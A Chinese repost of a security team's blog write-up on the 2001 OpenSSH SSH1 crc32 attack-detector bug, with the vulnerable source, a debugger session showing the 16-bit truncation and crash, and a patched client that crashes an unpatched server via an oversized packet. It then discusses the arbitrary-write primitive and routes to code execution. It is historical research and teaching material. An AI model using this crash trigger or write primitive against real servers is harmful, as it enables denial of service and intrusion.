漏洞利用 第二集 - 进入矩阵

admin 2025年4月7日11:56:18评论1 views字数 8550阅读28分30秒阅读模式

!exploitable Episode Two - Enter the Matrix

引言

如果你刚刚开始关注,Doyensec 团队正在地中海的一艘游轮上度假。放松身心,与同事交流,享受乐趣。第一部分 讲述了我们在 IoT ARM 漏洞利用方面的探索,而接下来的博客文章将在几周后发布,将涉及一个 Web 目标。在本期中,我们尝试利用有史以来最著名的漏洞之一——2001 年的 SSHNuke。更广为人知的是,这是电影《黑客帝国:重装上阵》中 Trinity 使用的漏洞利用程序。

漏洞利用 第二集 - 进入矩阵
Trinity 和 SSHD

历史背景

早在 1998 年,Ariel Futoransky 和 Emiliano Kargieman 就意识到 SSH 协议存在根本性缺陷,因为可以注入密文。因此添加了 crc32 校验和来检测这种攻击。

2001 年 2 月 8 日,Michal Zalewski 在 Bugtraq 邮件列表上发布了一份名为 "SSH 守护进程 crc32 补偿攻击检测器中的远程漏洞" 的公告,编号为 CAN-2001-0144(CAN 即 CVE 候选)(参考)。这个 "crc32" 存在一个独特的内存破坏漏洞,可能导致任意代码执行。

2001 年 6 月后不久,TESO Security 发布了一份关于他们编写的漏洞利用程序泄露的声明。这很有趣,因为它表明直到 6 月份还没有可靠的公开漏洞利用程序。TESO 知道 6 个私有的漏洞利用程序,包括他们自己的。

值得注意的是,第一个针对内存破坏的主要操作系统级缓解措施(ASLR)直到当年 7 月才发布 (历史)。缺乏漏洞利用程序可能源于这个漏洞的新颖性。

《黑客帝国:重装上阵》于 2001 年 3 月开始拍摄,并于 2003 年 5 月上映。令人印象深刻的是,他们为这部电影选择了来自当今最著名黑客之一的惊人漏洞。

亲自尝试

构建漏洞利用环境充其量是无聊的。在海上,没有互联网,尝试构建一个 20 年前的软件简直是噩梦。因此,在我们团队的一些成员处理这个问题时,我们将漏洞移植到了一个独立的 main.c 文件中,任何人都可以在任何现代(甚至旧)系统上轻松构建。

欢迎从 github 获取代码,使用 gcc -g main.c 编译并跟随操作。

漏洞分析

这是你尝试自己发现漏洞的最后机会。漏洞的核心在以下源代码中。

来自:src/deattack.c:82 - 109

/* Detect a crc32 compensation attack on a packet */intdetect_attack(unsignedchar *buf, u_int32_t len, unsignedchar *IV){staticu_int16_t *h = (u_int16_t *) NULL;staticu_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; // DOYEN 0x1000registeru_int32_t i, j;u_int32_t l;registerunsignedchar *c;unsignedchar *d;if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // DOYEN len > 0x40000     len % SSH_BLOCKSIZE != 0) {              // DOYEN len % 8  fatal("detect_attack: bad length %d", len); }for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)  ;if (h == NULL) {  debug("Installing crc compensation attack detector.");  n = l;  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); } else {if (l > n) {   n = l;   h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);  } }

这段代码确保 h 缓冲区及其大小 n 得到正确管理。这段代码至关重要,因为它会处理每条加密消息。为了防止重新分配,h 和 n 被声明为 staticxmalloc 会在第一次调用时为 h 初始化内存。后续调用会测试 len 是否超出了 n 的处理能力 - 如果是,则会执行 xrealloc

你发现漏洞了吗?我首先想到的是 xmalloc(n * HASH_ENTRYSIZE) 或其对应的 xrealloc(h, n * HASH_ENTRYSIZE) 中的整数溢出。这是错误的!由于对 n 的限制,这些值不会发生溢出。然而,这些限制最终成为了真正的漏洞。我很好奇 Zalewski 是否也走了这条路。

变量 n 在早期声明(遵循 C99 规范)为 16 位值(static u_int16_t),而 l 是 32 位(u_int32_t)。因此,如果 l 大于 0xffff,在 n = l 时可能会发生整数溢出。我们能让 l 大到足以溢出吗?

for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)  ;

这行晦涩的代码是我们设置 l 的唯一机会。它首先将 l 设置为 n。记住 n 代表 h 的静态大小。因此 l 就像一个临时变量,用于判断 n 是否需要调整。每次 for 循环运行时,l 都会左移 2 位(l << 2)。这实际上每次迭代都将 l 乘以 4。我们知道 l 初始值为 0x1000,因此经过一次循环后它将变为 0x4000。再经过一次循环,它将变为 0x10000。这个 0x10000 值转换为 u_int16_t 类型时会发生溢出,结果为 0。因此 n 的所有可能值为 0x1000、0x4000 和 0。上述循环的任何进一步迭代都会将 0 位移为 0。

当 l < HASH_FACTOR(len / SSH_BLOCKSIZE) 时,循环会继续运行。HASH_FACTOR 宏只是将 len 乘以 3/2。因此通过一些计算我们可以知道,len 需要达到 0x15560 或更大,才能使循环运行两次。我们可以通过在 main.c 中添加以下代码来验证这一点(或者使用 git 仓库的 cheat 分支)。

intmain(){size_t len = 0x15560unsignedchar *buf = malloc (len);memset(buf, 'A', len);// call to vulnerable functionint i = detect_attack(buf, len, NULL);free (buf);printf("returned %dn", i);return0;}

然后在我们的 Mac 上使用 lldb 进行调试。

$ gcc -g main.c$  lldb ./a.out(lldb) target create "./a.out"Current executable set to 'a.out' (arm64).(lldb) source list -n detect_attackFile: main.c...   165  int   166  detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)   167  {   168          static u_int16_t *h = (u_int16_t *) NULL;   169          static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;   170          register u_int32_t i, j;   171          u_int32_t l;(lldb)   172          register unsigned char *c;   173          unsigned char *d;   174   175          if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||   176              len % SSH_BLOCKSIZE != 0) {   177                  fatal("detect_attack: bad length %d", len);   178          }   179          for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)   180                  ;   181   182          if (h == NULL) {(lldb)(lldb) b 182Breakpoint 1: where = a.out`detect_attack + 200 at main.c:182:6, address = 0x0000000100003954(lldb) rProcess 7691 launched: 'a.out' (arm64)Process 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1    frame #0: 0x0000000100003954 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAA....   179          for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)   180                  ;   181-> 182          if (h == NULL) {   183                  debug("Installing crc compensation attack detector.");   184                  n = l;   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);Target 0: (a.out) stopped.(lldb) p/x l(u_int32_t) 0x00010000(lldb) p/x l & 0xffff(u_int32_t) 0x00000000(lldb) nProcess 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = step over    frame #0: 0x0000000100003970 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAA...   180                  ;   181   182          if (h == NULL) {-> 183                  debug("Installing crc compensation attack detector.");   184                  n = l;   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);   186          } else {Target 0: (a.out) stopped.(lldb) nProcess 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = step over    frame #0: 0x0000000100003974 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAA...   181   182          if (h == NULL) {   183                  debug("Installing crc compensation attack detector.");-> 184                  n = l;   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);   186          } else {   187                  if (l > n) {Target 0: (a.out) stopped.(lldb) nProcess 7691 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = step over    frame #0: 0x0000000100003980 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAAAA...   182          if (h == NULL) {   183                  debug("Installing crc compensation attack detector.");   184                  n = l;-> 185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);   186          } else {   187                  if (l > n) {   188                          n = l;Target 0: (a.out) stopped.(lldb) p/x n(u_int16_t) 0x0000

上面的最后一行显示在n = l之后,n的值为 0。如果我们继续执行代码,这个值的重要性很快就会显现出来。

(lldb) cProcess 7691 resumingProcess 7691 stopped* thread #1queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x600082d68282)    frame #00x0000000100003c78 a.out`detect_attack(buf="AAAAA...   215                  h[HASH(IV) & (n - 1)] = HASH_IV;   216   217          for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {-> 218                  for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;   219                       i = (i + 1) & (n - 1)) {   220                          if (h[i] == HASH_IV) {   221                                  if (!CMP(c, IV)) {Target 0: (a.out) stopped.(lldb) p/x i(u_int32_t) 0x41414141(lldb) p/x h[i]error: Couldn't apply expression side effects : Couldn't dematerialize a result variable: couldn't read its memory

我们得到了一个崩溃,显示我们注入的A字符为 0x41414141。

就在我们经过一些美丽岛屿的时候。

漏洞利用 第二集 - 进入矩阵
SSH 首次崩溃发生在 Grease 附近

崩溃分析

崩溃发生的原因是检查h[0x41414141] != HASH_UNUSED([0]处)时访问了无效内存。

来源:src/deattack.c:135 - 153

for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {for (i = HASH(c) & (n - 1); h[i] /*<- [0]*/ != HASH_UNUSED;       i = (i + 1) & (n - 1)) {if (h[i] == HASH_IV) {if (!CMP(c, IV)) {if (check_crc(c, buf, len, IV))return (DEATTACK_DETECTED);elsebreak;    }   } elseif (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {if (check_crc(c, buf, len, IV))return (DEATTACK_DETECTED);elsebreak;   }  }  h[i] = j; // [1] arbitrary write!!! }

如果h[i]是一个可读的偏移量会怎样?经过一些检查后,我们会到达[1]处,即h[i] = j。注意j是循环的迭代次数,我们可以通过控制缓冲区长度来控制它。而i是我们的 0x41414141,我们也可以控制它。因此,我们最终在循环中获得了一个 write-what-where(任意地址写)原语。

使真实系统崩溃

此时,我们已经设置好了一个正常运行的 OpenSSH 服务器。我们需要通过 SSH 协议 1 发送我们的缓冲区。我们找不到一个能够与如此过时且存在问题的协议兼容的 SSH Python 客户端。原本的解决方案是修改 OpenSSH 的加密部分,使其成为一个简单的 socket 连接。但我们选择修改了源代码中自带的 OpenSSH 客户端。似乎真正的漏洞利用作者可能也采取了类似的方法。

通过一个小技巧,我们很容易找到了需要修改的位置。使用gdb在 SSH 服务器应用程序中的漏洞函数detect_attack处设置断点。然后使用gdb调试连接到服务器的客户端。服务器会在断点处挂起,导致客户端也挂起,等待服务器对数据包的响应。在客户端中按下 Ctrl+C,我们就会到达处理发送到服务器的第一个漏洞数据包的响应处理程序处。因此,我们做出了以下修改。

来自:sshconnect1.c:873 - 890

 {// DOYENSEC// Builds a packet to exploit server  packet_start(SSH_MSG_IGNORE); // Should do nothingint dsize = 0x15560 - 0x10// -0x10 b/c they add crc for uschar *buf = malloc (dsize);memset(buf, 'A', dsize - 1);  buf[dsize] = 'x00';  packet_put_string(buf, dsize);  packet_send();  packet_write_wait(); }/* Send the name of the user to log in as on the server. */ packet_start(SSH_CMSG_USER); packet_put_string(server_user, strlen(server_user)); packet_send(); packet_write_wait();

运行这个修补后的客户端得到了与main.c中相同的崩溃结果。

接下来该怎么做

理解这个漏洞利用原语存在许多弱点非常重要。

h缓冲区是一个u_int16_t *类型。在小端系统中,你无法向(char *)h + 0写入任意值。除非你设置了j的高位。要能够设置j的所有高位,你需要能够循环 0x10000 次。

来自:src/deattack.c:135

for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {

该循环每次处理 8 字节(SSH_BLOCKSIZE)来递增j一次。我们需要一个大小为 0x80000 的缓冲区来实现这一点。以下检查限制我们只能写入所有可能的j值的一半。

来自:src/deattack.c:93 - 96

if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // len > 0x40000     len % SSH_BLOCKSIZE != 0) {  fatal("detect_attack: bad length %d", len); }

此外,如果你想在两个位置写入相同的值,你必须在没有崩溃的情况下调用漏洞函数两次。但一旦你将static变量n设置为 0,在下一次重新进入时它将保持为 0。这将导致l位移循环无限循环。无论尝试多少次,对 0 进行位移操作都无法使其足够大以处理你的缓冲区长度。你可以通过使用任意写操作将n设置为任何具有单个位设置的值(即 0x1、0x2、0x4...)来绕过这个问题。如果你使用其他值(即 0x3),则循环的数学计算可能会有所不同。

这些甚至还没有考虑到detect_attack函数之外等待的挑战。如果校验和失败,你会失去会话吗?如果密文(即你的缓冲区)解密失败会发生什么?

所有这些都会影响你选择实现 RCE(远程代码执行)的路径。Trinity 的漏洞利用程序用新的任意字符串覆盖了 root 密码。也许这是通过将记录器指向/etc/passwd来实现的?与 shellcode 相比,这有什么优势?或者破坏认证流程,直接将"is authenticated"位从 false 翻转为 true?你能覆盖内存中的客户端公钥,使其 RSA 指数为 0 吗?有这么多有趣的选项可以尝试。你能制作一个绕过 ASLR(地址空间布局随机化)的漏洞利用程序吗?

结论

我们的目标是使打过补丁的 OpenSSH 崩溃。考虑到可用的时间和资源,我们超出了自己的预期,成功控制了未打补丁的 OpenSSH 使其崩溃。这要归功于团队合作和漏洞利用过程中的创造性时间节省。在整个过程中有大量的理论构建,帮助我们避免了时间陷阱。最重要的是,整个过程充满了乐趣。

原文始发于微信公众号(securitainment):漏洞利用 第二集 - 进入矩阵

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月7日11:56:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞利用 第二集 - 进入矩阵http://cn-sec.com/archives/3922253.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息